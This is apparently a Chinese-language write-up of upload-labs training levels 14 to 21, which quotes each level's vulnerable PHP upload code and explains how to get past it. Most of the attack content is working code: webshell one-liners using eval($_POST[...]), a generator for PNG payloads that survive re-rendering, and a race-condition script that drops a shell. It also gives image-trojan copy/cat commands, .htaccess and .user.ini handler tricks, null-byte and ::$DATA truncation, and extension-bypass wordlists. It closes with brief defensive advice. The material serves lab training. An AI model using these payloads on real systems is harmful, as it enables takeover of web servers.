  • 木马病毒隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序
  • 原理:把一句话木马,通过二进制的方式追加到图片文件末尾,将木马文件和图片合并为另一个图片文件,合并后的图片包含一句话木马而且不影响图片显示,但用记事本等文本编辑器打开,能看到图片末尾的恶意代码。然后将图片上传到网站中,利用网站的漏洞,通常是文件包含漏洞,让网站把上传的图片当成脚本代码解析,从而达到运行恶意代码控制网站服务器的目的。
    简单来说就是以文件上传漏洞为基本条件,将可执行的条件写入图片中去,再利用文件包含漏洞来执行图片中存在的一句话木马,从而获取目标服务器的权限。
    Windows

第一步:找一个图片
第二步:一句话木马文件
2024-01-22T12:45:45.png

  • 第三步:win+Rcmd,输入copy 图片文件名/b+一句话木马文件名/a 制作的图片马文件名
  • 第四步:记事本打开验证一句话木马是否写入成功
    注意点:图片文件和木马文件需放在一个路径下
    制作图片马命令:copy 图片文件名称/b+脚本文件名称/a 新生成的文件名称,例如:
copy 222.jpg/b+111.php/a 333.jpg

2024-01-22T12:46:42.png
2024-01-22T12:46:50.png
ctrl+F查找一句话木马,写入成功

Linux

将木马文件追加到图片文件后面的方法:

cat test1.asp >> test2.jpg
将两个文件合并成第三个文件的方法:

cat test1.asp test2.jpg >> test3.jpg

2024-01-22T12:47:39.png
查找一句话木马,写入成功
2024-01-22T12:47:56.png

通关方法

上传图片马

右键图片获取上传的路径和图片马的文件名,然后用文件包含漏洞include.php?file=访问该文件,在蚁剑上连接成功

127.0.0.1/upload1/include.php?file=./upload/3720220811140725.png
2024-01-22T12:48:58.png

0x15-pass-15(文件类型检测+文件包含漏洞)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码分析

getimagesize函数用来检查文件类型:

通关方法

修改文件头标识:GIF89a

(直接在文件头加入,也可以修改hex:47 49 46 38 39 61)
绕过方式与 Pass14 类似
2024-01-22T12:54:52.png
2024-01-22T12:48:58.png

0x16-pass-16(文件类型检测+文件包含漏洞)

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码分析

exif_imagetype函数来检测上传的文件是否为图片,与 pass15 类似,所以绕过的方法也类似,我们可以用同样的 GIF 图片马

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

需要开启 php_exif模块

通关方法

上传图片马

绕过方式与 Pass14 类似
2024-01-22T12:54:52.png
2024-01-22T12:48:58.png

0x17-pass-17(二次渲染)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

代码分析

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染
使用imagecreatefrom...函数对图片文件进行二次渲染。该函数调用了PHP GD库(GD库,是php处理图形的扩展库)
如果上传图片马,里面的一句话会被清除,因此需要制作一张二次渲染过后,一句话依旧存在的图片马。

通关方法

上传图片马

下列代码,可以制作一张二次渲染过后,恶意代码依旧存在的png图片马

<?php
  //png.php
  $p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
  $img = imagecreatetruecolor(32, 32);
  for ($y = 0; $y < sizeof($p); $y += 3) {
     $r = $p[$y];
     $g = $p[$y+1];
     $b = $p[$y+2];
     $color = imagecolorallocate($img, $r, $g, $b);
     imagesetpixel($img, round($y / 3), 0, $color);
  }
  imagepng($img,'./pass17.png');
?>

使用:

php payload.php file.png

file.png 是一张普通的 png 图片~
最终生成 pass17.png
2024-01-22T23:35:10.png
2024-01-22T23:35:21.png
上传 pass17
2024-01-22T23:35:40.png
利用文件包含漏洞传 post 参数:

Load URL
http://192.168.20.134/include.php?file=upload/pass17.png&0=phpinfo

Post data 1=-1
2024-01-22T23:36:10.png

0x18-pass-18(条件竞争)

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

代码分析

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
通俗一点
代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字
因此我们可以用 burp 一直发包,让 php 程序一直处于移动 php 文件到 upload 目录这个阶段

通关方法

条件竞争

我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell

我们先来生成一个本 pass18 用的 php文件:pass18.php

<?PHP echo ”1“;fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

然后制作一个 py 文件用来检测上传是否成功:pass18_check_upload.py

# coding:utf-8
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            a = requests.get("http://http://192.168.20.134:80/upload/pass18.php")
            if "1" in a.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == '__main__':
    main()

ps:需要安装pip和request模块

接下来使用 burp 构造 intruder 并发送
2024-01-22T23:42:29.png
接下来配置载荷
2024-01-22T23:43:36.png
调高线程数(一般20即可)
2024-01-22T23:43:50.png
然后让 burp 和 py脚本文件同时执行,等待条件竞争成功上传成功

python3 pass18_check_upload.py

2024-01-22T23:45:18.png
2024-01-22T23:45:24.png

0x19-pass-19(条件竞争2)

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

代码问题

在 Pass19 目录下的 myupload.php 文件
将103行的

$this->cls_upload_dir = $dir;

改为:

$this->cls_upload_dir = $dir.'/';

不改的话会上传成这样../upload11111111.jpg

代码分析

查看源码发现,先进行了保存,然后再进行重命名,因此也存在条件竞争的问题,不过这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。

通关方法

条件竞争

创建pass20.php.7z,文件内容如下

<?PHP echo "1";fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

burp开启攻击,浏览器不断访问

http://192.168.20.134/uploadpass20.php.7z

2024-01-22T23:52:08.png
直到返回数字1,即可暂停burp。

接着就可以用中国蚁剑连接

0x20-pass-20(00截断)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码分析

POST 参数save_name可控,当输入upload-19.php%00.jpg时,pathinfo 获取的$file_ext是.jpg,从而进入了if代码块
所以这个 Pass 可以利用 00 截断

本 Pass 也可以利用 /. 来绕过在文件名 php 后缀加上/.

通关方法

方法1 在文件后缀后加空格

2024-01-23T00:23:08.png

方法2 在文件后缀后加点.

2024-01-23T00:23:51.png

方法3 在文件后缀后加/.

2024-01-23T00:24:34.png

方法4 bp抓包 00截断

抓包后将后缀名改成如图所示
2024-01-23T00:25:51.png
选中空格 将2数值20改为00
2024-01-23T00:26:32.png
应用更改后 发送
2024-01-23T00:26:49.png
上传成功
2024-01-23T00:27:12.png
2024-01-23T00:27:25.png

方法5 bp抓包 ::$DATA

类似方法4 bp抓包后在文件后缀加上::$DATA
2024-01-23T00:29:01.png

0x21-pass-21(截断2)

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

代码分析

源码逻辑:

  1. 检查MIME (通过抓包改Content-Type 绕过)
  2. 判断 POST参数 save_name 是否为空,
  3. 判断$file 是否为数组,不是数组以 .分割化为数组
  4. 取 $file 最后一个元素,作为文件后缀进行检查
  5. 取 ![file 第一位和第]file[count($file) - 1]作为文件名和后缀名保存文件
    首先检查了 MIME,更改 Content-Type: image/jpeg 即可绕过第一层
    如果上传的是数组就会跳过$file = explode('.', strtolower($file)),而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。
    $file[0]=test.php/ ``$file[2]=jpg利用move_uploaded_file会忽略/.来成功绕过

    通关方法

    MIME+数组

    上传 webshell.php, 修改save_name 为数组 绕过对file 的切割,最后file 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后reset($file) = webshell.php
    $file[1] 没有定义为空,count($file) 的值为$file[count($file) - 1] = `$file[1]
    2024-01-23T00:35:03.png
    2024-01-23T00:35:09.png
    2024-01-23T00:35:16.png
    注意此题不能重复上传,会报错。

    技巧总结

    在未知源码的情况下如何去判断那些文件可以后缀可以上传?
    我们可以使用 burpsuite 批量提交后缀来判断那些后缀可以上传
    首先随意抓取一个 request 请求包发送给 intruder:
    2024-01-23T00:35:49.png
    2024-01-23T00:35:55.png
    接着添加以下 payload 并开始攻击

    php
    php 
    php.
    php::$DATA
    php. .
    php\.
    pphph
    php7
    php5
    php4
    php3
    php2
    php1
    html
    htm
    phtml
    pHp
    Php
    phP
    pHp5
    pHp4
    pHp3
    pHp2
    pHp1

    2024-01-23T00:36:17.png
    可以看到除了 response 长度为 3823 的包之外的其他包全部上传成功,这样可以知道哪些后缀可以上传
    2024-01-23T00:36:29.png
    其他字典:

Html
jsp
jspa
jspx
jsw
jsv
jspf
jtml
jSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp
aspx

windows会自动去除文件名后面的英文句号.和空格,::$DATA,. .。

常用文件

php

<?php phpinfo();?>

<?php @eval($_POST[123123])?> 

<?PHP echo "1";fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

<?php
  //png.php
  $p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
  $img = imagecreatetruecolor(32, 32);
  for ($y = 0; $y < sizeof($p); $y += 3) {
     $r = $p[$y];
     $g = $p[$y+1];
     $b = $p[$y+2];
     $color = imagecolorallocate($img, $r, $g, $b);
     imagesetpixel($img, round($y / 3), 0, $color);
  }
  imagepng($img,'./pass17.png');
?>

.htacess

SetHandler application/x-httpd-php

.user.ini

auto_prepend_file=pass5.png

gif

GIF89a
<?php
phpinfo();
?>

python

# coding:utf-8
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            a = requests.get("http://http://192.168.20.134:80/upload/pass18.php")
            if "1" in a.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == '__main__':
    main()

文件上传总结

允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

完结撒花😀